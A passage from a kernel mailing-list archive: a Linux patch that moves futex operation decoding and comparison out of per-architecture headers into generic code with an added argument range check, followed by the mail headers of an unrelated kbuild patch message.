-int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+int arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 
 	switch (op) {
@@ -225,18 +215,9 @@ int futex_atomic_op_inuser(int encoded_o
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS; break;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
 
 	return ret;
 
-} /* end futex_atomic_op_inuser() */
+} /* end arch_futex_atomic_op_inuser() */
--- a/arch/hexagon/include/asm/futex.h
+++ b/arch/hexagon/include/asm/futex.h
@@ -31,18 +31,9 @@
 
 
 static inline int
-futex_atomic_op_inuser(int encoded_op, int __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(int)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -72,30 +63,9 @@ futex_atomic_op_inuser(int encoded_op, i
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (oldval == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (oldval != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (oldval < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (oldval >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (oldval <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (oldval > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
--- a/arch/ia64/include/asm/futex.h
+++ b/arch/ia64/include/asm/futex.h
@@ -45,18 +45,9 @@ do {									\
 } while (0)
 
 static inline int
-futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (! access_ok (VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -84,17 +75,9 @@ futex_atomic_op_inuser (int encoded_op,
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
--- a/arch/microblaze/include/asm/futex.h
+++ b/arch/microblaze/include/asm/futex.h
@@ -29,18 +29,9 @@
 })
 
 static inline int
-futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -66,30 +57,9 @@ futex_atomic_op_inuser(int encoded_op, u
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (oldval == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (oldval != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (oldval < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (oldval >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (oldval <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (oldval > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
--- a/arch/mips/include/asm/futex.h
+++ b/arch/mips/include/asm/futex.h
@@ -83,18 +83,9 @@
 }
 
 static inline int
-futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (! access_ok (VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -125,17 +116,9 @@ futex_atomic_op_inuser(int encoded_op, u
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
--- a/arch/parisc/include/asm/futex.h
+++ b/arch/parisc/include/asm/futex.h
@@ -32,20 +32,11 @@ _futex_spin_unlock_irqrestore(u32 __user
 }
 
 static inline int
-futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
 	unsigned long int flags;
 	u32 val;
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(*uaddr)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -98,17 +89,9 @@ futex_atomic_op_inuser (int encoded_op,
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
--- a/arch/powerpc/include/asm/futex.h
+++ b/arch/powerpc/include/asm/futex.h
@@ -31,18 +31,10 @@
 	: "b" (uaddr), "i" (-EFAULT), "r" (oparg) \
 	: "cr0", "memory")
 
-static inline int futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (! access_ok (VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -68,17 +60,9 @@ static inline int futex_atomic_op_inuser
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
--- a/arch/s390/include/asm/futex.h
+++ b/arch/s390/include/asm/futex.h
@@ -21,17 +21,12 @@
 		: "0" (-EFAULT), "d" (oparg), "a" (uaddr),		\
 		  "m" (*uaddr) : "cc");
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, newval, ret;
 
 	load_kernel_asce();
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
 
 	pagefault_disable();
 	switch (op) {
@@ -60,17 +55,9 @@ static inline int futex_atomic_op_inuser
 	}
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
--- a/arch/sh/include/asm/futex.h
+++ b/arch/sh/include/asm/futex.h
@@ -10,20 +10,11 @@
 /* XXX: UP variants, fix for SH-4A and SMP.. */
 #include <asm/futex-irq.h>
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, u32 oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 
 	switch (op) {
@@ -49,17 +40,8 @@ static inline int futex_atomic_op_inuser
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
 
 	return ret;
 }
--- a/arch/sparc/include/asm/futex_64.h
+++ b/arch/sparc/include/asm/futex_64.h
@@ -29,22 +29,14 @@
 	: "r" (uaddr), "r" (oparg), "i" (-EFAULT)	\
 	: "memory")
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret, tem;
 
-	if (unlikely(!access_ok(VERIFY_WRITE, uaddr, sizeof(u32))))
-		return -EFAULT;
 	if (unlikely((((unsigned long) uaddr) & 0x3UL)))
 		return -EINVAL;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
 	pagefault_disable();
 
 	switch (op) {
@@ -69,17 +61,9 @@ static inline int futex_atomic_op_inuser
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
--- a/arch/tile/include/asm/futex.h
+++ b/arch/tile/include/asm/futex.h
@@ -106,12 +106,9 @@
 	lock = __atomic_hashed_lock((int __force *)uaddr)
 #endif
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, u32 oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int uninitialized_var(val), ret;
 
 	__futex_prolog();
@@ -119,12 +116,6 @@ static inline int futex_atomic_op_inuser
 	/* The 32-bit futex code makes this assumption, so validate it here. */
 	BUILD_BUG_ON(sizeof(atomic_t) != sizeof(int));
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 	switch (op) {
 	case FUTEX_OP_SET:
@@ -148,30 +139,9 @@ static inline int futex_atomic_op_inuser
 	}
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (val == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (val != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (val < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (val >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (val <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (val > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = val;
+
 	return ret;
 }
 
--- a/arch/x86/include/asm/futex.h
+++ b/arch/x86/include/asm/futex.h
@@ -41,20 +41,11 @@
 		       "+m" (*uaddr), "=&r" (tem)		\
 		     : "r" (oparg), "i" (-EFAULT), "1" (0))
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret, tem;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 
 	switch (op) {
@@ -80,30 +71,9 @@ static inline int futex_atomic_op_inuser
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (oldval == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (oldval != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (oldval < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (oldval >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (oldval <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (oldval > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
--- a/arch/xtensa/include/asm/futex.h
+++ b/arch/xtensa/include/asm/futex.h
@@ -44,18 +44,10 @@
 	: "r" (uaddr), "I" (-EFAULT), "r" (oparg)	\
 	: "memory")
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 #if !XCHAL_HAVE_S32C1I
 	return -ENOSYS;
@@ -89,19 +81,10 @@ static inline int futex_atomic_op_inuser
 
 	pagefault_enable();
 
-	if (ret)
-		return ret;
-
-	switch (cmp) {
-	case FUTEX_OP_CMP_EQ: return (oldval == cmparg);
-	case FUTEX_OP_CMP_NE: return (oldval != cmparg);
-	case FUTEX_OP_CMP_LT: return (oldval < cmparg);
-	case FUTEX_OP_CMP_GE: return (oldval >= cmparg);
-	case FUTEX_OP_CMP_LE: return (oldval <= cmparg);
-	case FUTEX_OP_CMP_GT: return (oldval > cmparg);
-	}
+	if (!ret)
+		*oval = oldval;
 
-	return -ENOSYS;
+	return ret;
 }
 
 static inline int
--- a/include/asm-generic/futex.h
+++ b/include/asm-generic/futex.h
@@ -13,7 +13,7 @@
  */
 
 /**
- * futex_atomic_op_inuser() - Atomic arithmetic operation with constant
+ * arch_futex_atomic_op_inuser() - Atomic arithmetic operation with constant
  *			  argument and comparison of the previous
  *			  futex value with another constant.
  *
@@ -25,18 +25,11 @@
  * <0 - On error
  */
 static inline int
-futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, u32 oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval, ret;
 	u32 tmp;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
 	preempt_disable();
 	pagefault_disable();
 
@@ -74,17 +67,9 @@ out_pagefault_enable:
 	pagefault_enable();
 	preempt_enable();
 
-	if (ret == 0) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (ret == 0)
+		*oval = oldval;
+
 	return ret;
 }
 
@@ -126,18 +111,9 @@ futex_atomic_cmpxchg_inatomic(u32 *uval,
 
 #else
 static inline int
-futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, u32 oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (! access_ok (VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -153,17 +129,9 @@ futex_atomic_op_inuser (int encoded_op,
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
--- a/kernel/futex.c
+++ b/kernel/futex.c
@@ -1453,6 +1453,45 @@ out:
 	return ret;
 }
 
+static int futex_atomic_op_inuser(unsigned int encoded_op, u32 __user *uaddr)
+{
+	unsigned int op =	  (encoded_op & 0x70000000) >> 28;
+	unsigned int cmp =	  (encoded_op & 0x0f000000) >> 24;
+	int oparg = sign_extend32((encoded_op & 0x00fff000) >> 12, 12);
+	int cmparg = sign_extend32(encoded_op & 0x00000fff, 12);
+	int oldval, ret;
+
+	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28)) {
+		if (oparg < 0 || oparg > 31)
+			return -EINVAL;
+		oparg = 1 << oparg;
+	}
+
+	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
+		return -EFAULT;
+
+	ret = arch_futex_atomic_op_inuser(op, oparg, &oldval, uaddr);
+	if (ret)
+		return ret;
+
+	switch (cmp) {
+	case FUTEX_OP_CMP_EQ:
+		return oldval == cmparg;
+	case FUTEX_OP_CMP_NE:
+		return oldval != cmparg;
+	case FUTEX_OP_CMP_LT:
+		return oldval < cmparg;
+	case FUTEX_OP_CMP_GE:
+		return oldval >= cmparg;
+	case FUTEX_OP_CMP_LE:
+		return oldval <= cmparg;
+	case FUTEX_OP_CMP_GT:
+		return oldval > cmparg;
+	default:
+		return -ENOSYS;
+	}
+}
+
 /*
  * Wake up all waiters hashed on the physical page that is mapped
  * to this virtual address:

From - Thu Nov 08 21:41:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Luc Van Oostenryck <luc.vanoostenryck@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kbuild.devel,gmane.linux.ports.parisc
Subject: [PATCH] kbuild: add endianness flag to CHEKCFLAGS
Date: Mon, 28 May 2018 19:00:48 +0200
Lines: 75
Approved: news@gmane.org
Message-ID: <20180528170048.16595-1-luc.vanoostenryck@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1527526736 28584 195.159.176.226 (28 May 2018 16:58:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 28 May 2018 16:58:56 +0000 (UTC)
Cc: Michal Marek <michal.lkml@markovi.net>,
        linux-kbuild@vger.kernel.org, linux-kernel@vger.kernel.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org,
        Luc Van Oostenryck <luc.vanoostenryck@gmail.com>
To: Masahiro Yamada <yamada.masahiro@socionext.com>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon May 28 18:58:50 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fNLTt-0007KX-NW
	for glk-linux-kernel-4@m.gmane.org; Mon, 28 May 2018 18:58:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S940473AbeE1RA6 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 28 May 2018 13:00:58 -0400
Original-Received: from mail-wm0-f66.google.com ([74.125.82.66]:36129 "EHLO
        mail-wm0-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932116AbeE1RA4 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 28 May 2018 13:00:56 -0400
Original-Received: by mail-wm0-f66.google.com with SMTP id v131-v6so14480194wma.1;
        Mon, 28 May 2018 10:00:55 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=38FCC8pRqp7qE21cZab5pP5w3KHqlurfppaeEN9tazg=;
        b=rqP2U/ceziqO2iCXV4TJHUl3ORdmap8c5srFvMqsnewFHtA1n5bDHMHwSd+3bRVWSY
         oz7UQOY+XSNkNm/Sg4eKzpl9J2P4jCHsHQXbnfwW8UznQlKqtyicwF06tzMIwW2mLt1B
         IAih8dOsxwmE6zD1Jz9jUwbGu58lq2EU6h+BYRpK3ujf9rlyBA005zqmHglgqE4wmUu1
         eLJqB4/IOkNIXZc0kmirCvvHrpS7jL50bitE1xGeMHK4+mQUs0IbHPkPOd8sPxQuIfk+
         TeyJw6tC/i1MEV6tUniFMG6lslhSPo0bFuNez335/hOKic39A6u4fg8YtxM71fIQJq23
         py2Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=38FCC8pRqp7qE21cZab5pP5w3KHqlurfppaeEN9tazg=;
        b=C6LeZLfF5S+PqZ9Zi2KGkBRoL9iQ8QqRa/OIjOrNxPDse7eiAQrBzOJrutXM7eedAN
         u1iulIlwx7/C13QQgt752EXVT+XguJDKulE5s7rHmqAhY0iyj68ZoTQvARjPvVu5Disl
         SdGKZSQkfTKSiFIyt8/9OuXQfOTi6VfWyz81wlo4qEHgli3ls5Dx994fFN9OIGwCmV1P
         XBf94/REIsWP26jePknCUbgBPAb/Yz/Hr6XRQAC7MGHO+1QaD5jTlGY8DPKDhA78ybAa
         kDHOdhJ4KugB9aGBCDvIkdA89sbr1KL/lErn07VqtFq5ilFmr/9yCWjnAiP2nE6Nk3IM
         hppw==
X-Gm-Message-State: ALKqPwcoUaCfIpb9x6A+hcr+4q/uiE1kW+P5/Nc2xxuwQeN2U/StNEOG
        N4C6+w9f5RZ8CPEp5yCByRg=
X-Google-Smtp-Source: AB8JxZpLTPoKDoQ27OfKLQDaxw/hbPwtDmPh12xAQ1SohuMG3Fg6qOwRLul8PfTWAimbq8vEy8ZRxQ==
X-Received: by 2002:a50:dc02:: with SMTP id q2-v6mr15723308edk.245.1527526854558;
        Mon, 28 May 2018 10:00:54 -0700 (PDT)
Original-Received: from localhost.localdomain (252.178-246-81.adsl-dyn.isp.belgacom.be. [81.246.178.252])
        by smtp.gmail.com with ESMTPSA id d6-v6sm6368201edo.18.2018.05.28.10.00.51
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 28 May 2018 10:00:53 -0700 (PDT)
X-Mailer: git-send-email 2.17.0
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
